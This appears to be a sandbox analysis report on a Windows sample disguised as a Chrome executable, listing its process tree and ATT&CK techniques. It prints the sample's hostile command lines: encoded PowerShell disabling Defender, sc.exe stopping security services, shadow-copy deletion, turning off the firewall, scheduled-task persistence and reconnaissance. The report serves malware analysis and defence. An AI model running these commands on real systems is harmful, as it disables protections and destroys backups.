PID 5312 wrote to memory of 4136	5312	talk2us.io_chrome.exe	135
PID 5312 wrote to memory of 236	5312	talk2us.io_chrome.exe	140
PID 5312 wrote to memory of 4236	5312	talk2us.io_chrome.exe	141
PID 5312 wrote to memory of 1616	5312	talk2us.io_chrome.exe	143
PID 5312 wrote to memory of 3300	5312	talk2us.io_chrome.exe	144
PID 5312 wrote to memory of 4528	5312	talk2us.io_chrome.exe	145
PID 5312 wrote to memory of 4676	5312	talk2us.io_chrome.exe	146
PID 5312 wrote to memory of 1876	5312	talk2us.io_chrome.exe	147
PID 5312 wrote to memory of 5136	5312	talk2us.io_chrome.exe	148
PID 5312 wrote to memory of 2952	5312	talk2us.io_chrome.exe	155
PID 5312 wrote to memory of 1620	5312	talk2us.io_chrome.exe	157
PID 5136 wrote to memory of 2448	5136	cmd.exe	158
PID 3300 wrote to memory of 1064	3300	cmd.exe	159
PID 1616 wrote to memory of 2020	1616	cmd.exe	160
PID 1876 wrote to memory of 4572	1876	cmd.exe	161
PID 4528 wrote to memory of 4080	4528	cmd.exe	162
PID 4676 wrote to memory of 5216	4676	cmd.exe	163
PID 5216 wrote to memory of 3176	5216	net.exe	164
PID 5312 wrote to memory of 4256	5312	talk2us.io_chrome.exe	165
PID 5312 wrote to memory of 3864	5312	talk2us.io_chrome.exe	166
PID 5312 wrote to memory of 5228	5312	talk2us.io_chrome.exe	167
PID 5312 wrote to memory of 3884	5312	talk2us.io_chrome.exe	168
PID 5312 wrote to memory of 3244	5312	talk2us.io_chrome.exe	169
PID 5312 wrote to memory of 200	5312	talk2us.io_chrome.exe	170
PID 5228 wrote to memory of 5752	5228	net.exe	177
PID 4236 wrote to memory of 3896	4236	cmd.exe	178
PID 4236 wrote to memory of 2492	4236	cmd.exe	179
PID 3916 wrote to memory of 932	3916	chrome.exe	180
PID 3916 wrote to memory of 3756	3916	chrome.exe	181
PID 3916 wrote to memory of 3756	3916	chrome.exe	181
PID 3916 wrote to memory of 4612	3916	chrome.exe	182
PID 3916 wrote to memory of 4612	3916	chrome.exe	182
PID 3916 wrote to memory of 5048	3916	chrome.exe	184
PID 3916 wrote to memory of 4516	3916	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\talk2us.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\talk2us.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5312
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://talk2us.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3916
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x108,0x134,0x7ff99253c728,0x7ff99253c734,0x7ff99253c740
    3⤵
    PID:5468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1680,i,11268639743566344723,794466271109478022,262144 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:2
    3⤵
    PID:5444
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,12311380702120696594,8402403943025299575,524288 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2244,i,8673646490664043366,7433922270144442355,524288 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:13
    3⤵
    PID:4780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3076,i,16034103774672541330,2034120145901107253,2097152 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:1
    3⤵
    PID:252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3064,i,18388543757587070720,8125996998666557646,2097152 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:1
    3⤵
    PID:5704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4664,i,15914531639249560797,10689064985265790589,2097152 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=4676 /prefetch:1
    3⤵
    PID:1804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5416,i,9997099451548857066,2711364771563417215,524288 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:14
    3⤵
    PID:932
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3260,i,5814492262899562910,1275599855030406800,2097152 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=5432 /prefetch:1
    3⤵
    PID:3756
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5448,i,11523899102866091441,6299435145623932380,2097152 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=5472 /prefetch:1
    3⤵
    PID:4612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5716,i,13245980505276841269,11059346147036921571,2097152 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=5448 /prefetch:1
    3⤵
    PID:4516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5612,i,17877157504277284585,8820529127865668896,2097152 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=3272 /prefetch:1
    3⤵
    PID:5048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=4952,i,14634380609185800509,5968975252803719312,2097152 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:1
    3⤵
    PID:4520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5704,i,1809093854341666558,9077930274578549667,2097152 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:1
    3⤵
    PID:5984
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5868,i,4337911007605053946,13928737911550714630,2097152 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:1
    3⤵
    PID:5204
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5436,i,5519824707167277277,7032137922415806813,2097152 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:1
    3⤵
    PID:2432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5828,i,7768594072019489390,12860443413896882806,524288 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=4712 /prefetch:14
    3⤵
    PID:6000
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4776,i,4870416951685697008,14038829416403772336,524288 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=4588 /prefetch:14
    3⤵
    PID:4176
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4756,i,11647839129438426076,12010040487829387591,524288 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=4764 /prefetch:14
    3⤵
    PID:304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4560,i,3849636987344231733,8126854778671927629,524288 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:14
    3⤵
    PID:1320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5956,i,12526803480727894267,7803538690345896067,2097152 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:1
    3⤵
    PID:2848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5504,i,4179299581807823867,6800691281647483123,2097152 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:9
    3⤵
    PID:300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4664,i,11069270115816763482,14777387518592045412,524288 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=4672 /prefetch:14
    3⤵
    PID:4324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3296,i,253199505143590074,16034110734921095714,524288 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=4712 /prefetch:14
    3⤵
    PID:1796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3320,i,9768011404100625282,9030228470980977264,524288 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:14
    3⤵
    PID:768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4976,i,10263602671905158834,9404844168158815172,262144 --field-trial-handle=1916,i,14861069791645672636,11463808717998350276,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:10
    3⤵
    PID:1140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1248
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4832
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5412
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:6096
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4516
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:764
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4652
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3844
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2332
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Users\Admin\AppData\Local\Temp\talk2us.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\talk2us.io_chrome.exe"
    3⤵
    PID:5984
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1348
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4216
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3376
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3204
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\talk2us.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4080
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\talk2us.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4136
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4236
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3896
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2492
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1616
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2020
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1064
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:4080
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4676
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5216
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3176
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4572
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5136
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:2448
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\talk2us.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2952
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1620
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4256
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3864
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5228
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5752
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3244
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:200

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4908

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1176

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:4396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2484

C:\Users\Admin\AppData\Local\Temp\talk2us.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\talk2us.io_chrome.exe
1⤵
PID:4300

C:\Users\Admin\AppData\Local\Temp\talk2us.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\talk2us.io_chrome.exe
1⤵
PID:200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:3456

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery